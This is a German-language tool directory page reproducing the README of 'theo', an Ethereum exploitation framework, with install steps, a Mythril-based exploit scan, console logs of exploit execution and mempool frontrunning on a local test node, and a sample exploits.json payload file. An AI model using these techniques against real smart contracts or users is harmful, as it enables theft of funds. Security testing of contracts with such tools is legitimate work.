Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
theo — Ethereum Recon- und Exploitation-Tool. | Kitploit
Tools/GitHubGitHub/cleanunicorn/theo
Penetrationstest-FrameworksAufklärungExploit-FrameworksSchwachstellenanalyse
GitHubcleanunicorn/theo

theo

Ethereum Recon- und Exploitation-Tool.

Repository anzeigen
348932vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Theo

Veraltet, wird nicht mehr gewartet, installieren Sie es nicht, verwenden Sie es nicht, Sie wurden gewarnt!

License CircleCI Codacy Badge PyPI Code style: black

Theo soll ein Exploitation-Framework und ein Werkzeug zur Blockchain-Erkundung und -Interaktion sein.

Funktionen:

  • Automatisches Scannen von Smart Contracts, das eine Liste möglicher Exploits generiert.
  • Senden von Transaktionen, um einen Smart Contract auszunutzen.
  • Transaktionspool-Überwachung.
  • Web3-Konsole
  • Frontrunning- und Backrunning-Transaktionen.
  • Warten auf eine Liste von Transaktionen und Senden anderer.
  • Die Gas-Schätzung für Transaktionen stellt sicher, dass nur erfolgreiche Transaktionen gesendet werden.
  • Wenn die Gas-Schätzung deaktiviert ist, werden Transaktionen mit einer festen Gasmenge gesendet.

Er kennt Karl von der Arbeit.

Theos Zweck ist es, Script-Kiddies zu bekämpfen, die versuchen, leet Hacker zu sein. Er kann ihnen zuhören, wie sie versuchen, seine Honeypots auszunutzen, und sie ihr Geld verlieren lassen, zu seinem eigenen Vorteil.

"Du hast mich nicht wegen meiner charmanten Persönlichkeit mitgenommen."

Installieren

Theo ist als PyPI-Paket verfügbar:

root@kitploit:~
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS]
            [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to monitor (default: None)
  --skip-mythril SKIP_MYTHRIL
                        Don't try to find exploits with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Aus Quellen installieren

root@kitploit:~
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help

Voraussetzungen:

  • Python 3.5 oder höher.
  • Ein Ethereum-Knoten mit verfügbarem RPC. Ganache eignet sich sehr gut zum Testen oder Validieren von Exploits.

Demos

Exploit finden und ausführen

Einen Smart Contract scannen, Exploits finden, ausnutzen:

  • Ganache als unseren lokalen Ethereum-Knoten starten
  • Den angreifbaren Vertrag bereitstellen (geschieht in einem anderen Fenster)
  • Nach Exploits scannen
  • Exploit ausführen

asciicast

Opfer frontrunnen

Honeypot einrichten, Honeypot bereitstellen, auf Angreifer warten, frontrunnen:

  • Geth als unseren lokalen Ethereum-Knoten starten
  • Mining starten
  • Den Honeypot bereitstellen
  • Theo starten und den Mem-Pool nach Transaktionen durchsuchen
  • Den Angreifer frontrunnen und sein Ether stehlen

asciicast

Verwendung

Hilfebildschirm

Es ist eine gute Idee, zuerst den Hilfebildschirm zu überprüfen.

root@kitploit:~
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
            [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to interact with (default: None)
  --skip-mythril        Skip scanning the contract with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Symbolische Ausführung

Eine Liste von Exploits wird automatisch mit mythril identifiziert.

Starten Sie eine Sitzung, indem Sie ausführen:

root@kitploit:~
$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
 [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]

A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint

Check the readme for more info:
https://github.com/cleanunicorn/theo

>>> 

Es wird den Vertrag analysieren und eine Liste verfügbarer Exploits finden.

Sie können die gefundenen verfügbaren Exploits sehen. In diesem Fall wurde ein Exploit gefunden. Jeder Exploit ist ein Exploit-Objekt.

root@kitploit:~
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])

Ausführen von Exploits

Die Exploit-Schritte können durch Aufruf von .execute() auf dem Exploit-Objekt ausgeführt werden. Die Transaktionen werden signiert und an den Knoten gesendet, mit dem Sie verbunden sind.

root@kitploit:~
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} 
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... 
2019-07-22 11:26:16,337 - Mined 
2019-07-22 11:26:16,341 - Initial balance:      1155999450759997797167 (1156.00 ether) 
2019-07-22 11:26:16,342 - Final balance:        1156999450759997768901 (1157.00 ether) 

Frontrunning

Sie können den Frontrunning-Monitor starten, um auf andere Hacker zu lauschen, die versuchen, den Honeypot auszunutzen.

Verwenden Sie .frontrun(), um auf den Exploit zu lauschen, und senden Sie, wenn er gefunden wird, eine Transaktion mit einem höheren Gaspreis.

root@kitploit:~
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... 
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} 
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... 
2019-07-22 11:22:56,852 - Mined 

"Oh, mein Gott! Der Quarterback ist erledigt!"

Dies funktioniert sehr gut für einige speziell erstellte Verträge oder andere angreifbare Verträge, solange Sie sicherstellen, dass Frontrunning zu Ihrem Vorteil ist.

Transaktionen aus Datei laden

Anstatt die Exploits mit Mythril zu identifizieren, können Sie die Liste der Exploits selbst angeben.

Erstellen Sie eine Datei, die so aussieht wie diese exploits.json:

root@kitploit:~
[
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        },
        {
            "name": "retrieve()",
            "input": "0x2e64cec1",
            "value": "0x0"
        }
    ],
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        }
    ]
]

Diese definiert 2 Exploits, der erste hat 2 Transaktionen und der zweite nur 1 Transaktion.

Sie können sie laden mit:

root@kitploit:~
$ theo --load-file=./exploits.json

Fehlerbehebung

openssl/aes.h: Datei oder Verzeichnis nicht gefunden

Wenn Sie diesen Fehler erhalten, benötigen Sie die libssl-Quellbibliotheken:

root@kitploit:~
    scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
     #include <openssl/aes.h>
              ^~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    ----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/

Unter Ubuntu können Sie sie installieren mit:

root@kitploit:~
$ sudo apt install libssl-dev
Tool herunterladen